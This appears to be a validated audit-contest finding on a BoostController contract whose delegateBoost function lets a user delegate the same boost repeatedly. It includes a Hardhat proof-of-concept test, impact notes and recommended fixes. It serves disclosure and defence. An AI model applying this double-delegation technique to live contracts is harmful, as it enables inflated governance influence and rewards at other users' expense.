Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

BoostController: Delegation Exploit Allows Users to Delegate More Boost Than Available

Summary

The delegateBoost function in the BoostController contract allows users to delegate more boost than they actually have. The function only checks whether the delegated amount exceeds the user's current balance but does not track the cumulative delegated amount. As a result, a user can delegate their entire boost multiple times, either to one or multiple users, effectively bypassing the intended restrictions.

Vulnerability Details

The vulnerability arises due to missing checks when delegating boosts. While the delegateBoost function checks if the delegation amount is less than or equal to the user's available boost, it does not track the total amount delegated across multiple recipients. This oversight allows malicious users to delegate their entire boost to one user and then do the same to another, leading to an inflated delegated boost.

Affected Code: BoostController::DelegateBoost

Proof of Concept (PoC)

To demonstrate the vulnerability, add the following getter function to the BoostController.sol contract:

function getUserDelegatedBoost(address from, address to) external view returns (uint256 amount, uint256 expiry) {
UserBoost storage delegation = userBoosts[from][to];
return (delegation.amount, delegation.expiry);
}

Then, include the following test case in the BoostController.test.js file:

describe("Delegation Working Supply Bug", () => {
it("should demonstrate that delegated amounts exceed user1's working balance", async () => {
// Initial setup
await veToken.mint(user1.address, ethers.parseEther("4000"));
await veToken.mint(user2.address, ethers.parseEther("1000"));
await veToken.mint(user3.address, ethers.parseEther("1000"));
// Update boost for user1
await boostController.connect(user1).updateUserBoost(user1.address, mockPool.getAddress());
// Calculate initial boost
const [, user1BoostAmount] = await boostController.calculateBoost(
user1.address,
mockPool.getAddress(),
10000
);
// Delegate the entire boost to user2
const duration = 7 * 24 * 60 * 60; // 7 days
await boostController.connect(user1).delegateBoost(user2.address, user1BoostAmount, duration);
// Delegate the same boost again to user3
await boostController.connect(user1).delegateBoost(user3.address, user1BoostAmount, duration);
// Check the total delegated amounts
const user2DelegatedAmount = (await boostController.getUserDelegatedBoost(user1.address, user2.address)).amount;
const user3DelegatedAmount = (await boostController.getUserDelegatedBoost(user1.address, user3.address)).amount;
const totalDelegated = user2DelegatedAmount + user3DelegatedAmount;
const finalWorkingBalance = await boostController.getWorkingBalance(user1.address, mockPool.getAddress());
console.log("Total Delegated:", totalDelegated.toString());
console.log("Final Working Balance:", finalWorkingBalance.toString());
// Assert that total delegated > final working balance
expect(totalDelegated).to.be.gt(finalWorkingBalance);
});
});

When this test is run, it demonstrates that a user can delegate more boost than they own, highlighting the vulnerability.

Impact

This vulnerability can be exploited to:

  • Inflate delegated boosts beyond the legitimate amount.

  • Manipulate governance or staking mechanisms that rely on delegated boosts.

Tools Used

  • Hardhat

Recommendations

To mitigate this issue:

  1. Track Total Delegated Amount:
    Introduce a new state variable to track the total amount of boost delegated by each user.

  2. Enhance Validation in delegateBoost:
    Update the delegateBoost function to check whether the requested delegation, when added to the already delegated amount, exceeds the user's available balance.

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController::delegateBoost lacks total delegation tracking, allowing users to delegate the same veTokens multiple times to different pools for amplified influence and rewards

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.